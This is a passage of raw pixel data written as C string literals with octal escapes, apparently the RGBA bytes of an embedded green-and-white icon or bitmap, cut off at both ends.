"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\343\000\201\000\346\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\015\206\015\377\242\321\242"
"\377\376\377\376\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\276\337\276\377\032\215\032\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\022\211\022\377\316\347\316\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377=\236=\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\004\202\004\377\305\342\305\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377=\236=\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377|\276|\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\364\372\364\377\356\367"
"\356\377\372\375\372\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377=\236=\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000"
"\200\000\377,\226,\377\372\375\372\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\330\354\330\377h\264h\377\030\214\030\377\000\200\000\377\000\200\000\377\014\206"
"\014\377X\254X\377\322\351\322\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377=\236=\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000\200\000\377\235\316\235\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\241\320\241\377\004\202\004\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\002\201"
"\002\377_\257_\377\363\371\363\377\377\377\377\377\377\377\377\377=\236=\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377"
"\000\200\000\377\023\211\023\377\366\373\366\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\264\332"
"\264\377\002\201\002\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377,\226,\377\334\356"
"\334\377\377\377\377\377=\236=\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377h\264h\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\363\371\363\377\025\212\025\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\027\213\027\377\266\333\266\377\061\230\061\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\000\200"
"\000\377\247\323\247\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\222\311\222\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\201\000\346"
"\000\201\000\346\000\200\000\377\000\200\000\377\341\360\341\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377=\236=\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\022\211\022\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\370\374\370\377\010\204\010\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200"
"\000\377$\222$\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\325\352\325\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377G\243G\377\356\367\356\377\356"
"\367\356\377\356\367\356\377\356\367\356\377\356\367\356\377\356\367\356"
"\377\356\367\356\377\356\367\356\377\356\367\356\377\356\367\356\377\356"
"\367\356\377\356\367\356\377\356\367\356\377\356\367\356\377\356\367\356"
"\377\356\367\356\377\277\337\277\377\000\200\000\377\000\200\000\377\000\201\000\346"
"\000\201\000\346\000\200\000\377\065\232\065\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\303\341\303"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377L\246L\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\314\346\314\377\000\200\000\377\000\200"
"\000\377\000\201\000\346\000\201\000\346\000\200\000\377D\242D\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\266\333\266\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377L\246L\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\314\346\314\377"
"\000\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\071\234\071\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\301\340\301\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377L\246L\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\314\346\314\377\000\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200"
"\000\377'\223'\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\321\350\321\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377L\246L\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\314\346\314\377\000\200\000\377\000\200\000\377\000\201\000\346"
"\000\201\000\346\000\200\000\377\027\213\027\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\355\366\355"
"\377\002\201\002\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\024\212\024"
"\377D\242D\377D\242D\377D\242D\377D\242D\377D\242D\377D\242D\377D\242D\377"
"D\242D\377D\242D\377q\270q\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\233\315\233\377\000\200"
"\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\003\201\003\377\363\371"
"\363\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377.\227.\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\005\202\005\377\321\350"
"\321\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\342\361\342\377\016\207\016\377\000\200\000\377\000\200\000\377\000"
"\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\274\336\274\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377|\276|\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377z\275z\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377J\245"
"J\377\000\200\000\377\000\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000"
"\377\000\200\000\377\200\300\200\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\350\364\350\377"
"\011\204\011\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\002\201\002\377\203\301\203\377)\224)\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"*\225*\377\370\374\370\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\245\322\245\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377"
"\070\234\070\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\215\306\215\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\011\204\011\377\250\324\250\377"
"\377\377\377\377=\236=\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\003\201\003\377\307\343\307"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\350\364\350\377\023\211\023\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000\200"
"\000\377\311\344\311\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\376\377\376\377f\263f\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377#\221#\377\315\346\315\377\377\377\377\377\377\377"
"\377\377=\236=\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377n\267n\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377W\253W\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000\200\000\377Y\254Y\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\251\324\251\377\063\231"
"\063\377\001\200\001\377\000\200\000\377\000\200\000\377\000\200\000\377\040\220\040\377\217"
"\307\217\377\370\374\370\377\377\377\377\377\377\377\377\377\377\377\377"
"\377=\236=\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377#\221#\377\365\372\365\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\256\327\256\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000\200\000\377\003\201\003\377"
"\311\344\311\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\350\364\350\377\303\341\303\377\300\340\300\377\340\360"
"\340\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377=\236=\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\001\200\001\377\275\336\275\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\356\367\356\377\031\214\031\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377&\223&\377\361\370\361\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377=\236=\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377a\260"
"a\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377b\261b\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377?\237?\377\356"
"\367\356\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377=\236"
"=\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\033\215"
"\033\377\360\370\360\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\271\334\271\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\201"
"\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377(\224(\377\333\355\333\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\332"
"\355\332\377\"\221\"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\262\331\262\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\363\371\363\377\037\217\037\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\007\203\007\377n\267n"
"\377\351\364\351\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\305\342\305\377\\\256"
"\\\377\003\201\003\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377U\252U\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377n\267n\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\010\204\010\377G\243G\377\217\307\217\377\312\345\312\377\344\362\344\377"
"\372\375\372\377\377\377\377\377\357\367\357\377\336\357\336\377\270\334"
"\270\377q\270q\377&\223&\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\025\212\025\377\353\365\353\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\303\341\303\377\002\201\002\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\201"
"\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\241\320"
"\241\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\367\373\367\377'\223'\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377N\247N\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377y\274y\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\201\000\346\000\201\000\346\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\015\206\015\377\341\360\341\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\314\346\314\377\004\202\004"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\201\000"
"\346\000\201\000\346\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\216\307\216\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377x\274x\377D\242D\377D\242D\377D\242D\377D\242D\377D\242D\377D\242"
"D\377D\242D\377D\242D\377D\242D\377D\242D\377\032\215\032\377\000\200\000\377\000"
"\201\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\321\350\321\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377b\261b\377\000\200\000\377\000\201"
"\000\346\000\201\000\346\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\321\350\321\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377b\261b\377\000\200\000\377\000\201\000\346"
"\000\201\000\346\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\321\350\321\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377b\261b\377\000\200\000\377\000\201\000\346\000"
"\200\000\343\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
